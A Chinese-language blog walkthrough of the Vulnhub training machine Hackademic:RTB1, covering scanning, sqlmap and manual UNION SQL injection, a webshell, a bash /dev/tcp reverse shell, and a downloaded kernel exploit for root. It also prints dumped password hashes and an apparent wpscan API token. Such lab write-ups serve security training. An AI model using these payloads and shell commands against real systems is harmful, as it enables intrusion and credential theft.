Vulnhub Hackademic:RTB1

0x01:端口扫描

主机发现

nmap -sn 192.168.231.0/24

image-20241115091135116

主机ip:192.168.231.136

全端口扫描

nmap -sT -sC -sV -O -p- 192.168.231.136 -oA /root/scan

image-20241115092154129

扫描到两个端口,22ssh端口关闭,80http端口开放,其中http跑的是apache服务器

UDP扫描

nmap -sU --min-rate 10000 -p- 192.168.231.136

image-20241115091818844

无UDP结果

漏洞扫描

nmap --script=vuln -p21,80 192.168.231.136

image-20241115162953855

只有一个枚举有用

image-20241115171746025

内容太多,我们等会进行不下去再研究它

0x02:web渗透

首先扫描目录

dirsearch -u http://192.168.231.136

image-20241115163235433

扫描到这几个有用的目录,我们先打开根页面

image-20241115163202856

说的是我们的最终目的是root这台机器,并给出target,我们点进去看看

image-20241115163439714

给出了我们的goal拿到Key.txt,下面有两个链接,我们点进去看看

Comments:

image-20241115163712002

Uncategorized:

image-20241115163731097

看这个url感觉是有注入的,我们试试

image-20241115163917983

看报错信息那就是SQL注入了,我们跑一遍

sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" --dbs

image-20241115164303801

我们看看wordpress这个库

sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" -D wordpress --tables

image-20241115164430025

我们找找有用的信息

sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users --dump

image-20241115170927382

最终我们在wp_users表单中找到了用户名和密码,其中user_level最高的为10,其用户名和密码如下

用户名:GeorgeMiller
密码:7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)

但是我们的ssh22端口关闭了,之前我们扫目录的url又是403

image-20241115172754952

我们再在我们刚才那个页面扫一下目录呢

image-20241115173124932

成功扫描到登录页面,我们尝试登录

image-20241115173803126

image-20241115173926264

成功以GeorgeMiller的身份登录进来,发现WordPress版本为1.5.1.1,我们在msf上搜索

image-20241115194535421

我们使用第三个,我们看看需要配置什么

image-20241115195505305

我们除了普通配置外还需要设置targeturl,我们在网站中看看

我们在Options中的Miscellaneous找到上传路径和一些配置

image-20241115195345273

我们小做修改

image-20241115195414832

我们在把msf里的配置完善一下

image-20241115201141073

注意一下,这里的是targeturi,我们执行一下

image-20241115201637406

报错了,我们还是手动来吧

image-20241115202200770

image-20241115202234149

我们用antsword去链接

image-20241115202400921

我们反弹个shell

bash -i >& /dev/tcp/192.168.231.131/4444 0>&1

image-20241115202815367

0x03:权限提升

首先提升交互性

python -c 'import pty;pty.spawn("/bin/bash");'

image-20241115203138795

很可惜他没有python

image-20241115203340176

我们的用户是apache,我们先看sudo

sudo -l

image-20241115203419265

没有,我们再看看SUID

find / -type f -perm -04000 -ls 2>/dev/null

image-20241115203826385

也没有什么好用的

我们再看看作业表呢

image-20241115204018997

也没有,那我们看看内核版本呢

cat /proc/version

image-20241115204537097

内核版本还挺低的,应该是有漏洞的,搜搜

searchsploit linux kernel 2.6.3

image-20241115210955478

我们用这个,把它cp下来

searchsploit -m linux/local/33321.c

我们起个服务

python -m http.server 6666
wget http://192.168.231.131:6666/33321.c

image-20241115211355310

拉取成功后编译它

gcc -o 33321 33321.c

image-20241115211947619

我们执行它

image-20241115212550594

寄,用不了,我们换一个

image-20241115212811899

我们选这个,跟刚才一样

image-20241115213013493

image-20241115213053893

这下成功了!

还记得之前的goal吗?拿到key.txt就算胜利!

image-20241115213235737

成功!

0x04:思考补充

1.尝试手工注入

刚才我们用的是sqlmap跑出来的,现在尝试一下纯手工注入

我们先查字段

?cat=1 order by 6

image-20241116161128917

报错,说明当前数据库只有5个字段

接下来我们联合查询

?cat=1 and 1=2 union select 1,2,3,4,5

image-20241116161854569

发现返回的是2,显示的是字段2的内容,我们先看是什么库

?cat=1 and 1=2 union select 1,database(),3,4,5

image-20241116162235298

是wordpress的数据库,我们去官网查表

https://codex.wordpress.org/Database_Description/1.5

image-20241116162729121

我们先查user_level

?cat=1 and 1=2 union select 1,group_concat(user_level),3,4,5 from wp_users

image-20241116171352901

是可以查到的,我们再看看user_login

?cat=1 and 1=2 union select 1,group_concat(user_login),3,4,5 from wp_users

因为它自带了limit 1,所以我们要加上group_concat()才能读全

image-20241116171511894

再看user_pass

?cat=1 and 1=2 union select 1,group_concat(user_pass),3,4,5 from wp_users

image-20241116171607450

放在一起就是

?cat=1 and 1=2 union select 1,group_concat(id,0x2d,user_level,0x2d,user_login,0x2d,user_pass),3,4,5 from wp_users

加上0x2d作为分割符

image-20241116171959762

1-1-NickJames-21232f297a57a5a743894a0e4a801fc3,
2-0-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c,
3-10-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054,
4-0-TonyBlack-a6e514f9486b83cb53d8d932f9a04292,
5-0-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4,
6-0-MaxBucky-50484c19f1afdaf3841a0d821ed393d2

我们再手动hash密码就完事了

2.我们在搜索内核提权的时候,感觉选项太多,我们可以grep "Local Privilege Escalation"

searchsploit linux kernel 2.6.3 |grep "Local Privilege Escalation"

3.可以使用wpscan对wordpress进行漏洞扫描

wpscan --url http://192.168.231.136/Hackademic_RTB1/ --enumerate ap --api-token  0Du8ow5jLqgfJgCOnxvsgKaEZacsPltJCKAaQDyFoCg

image-20241120170549414

posted @ 2024-11-25 15:44  kelec0ka  阅读(59)  评论(0)    收藏  举报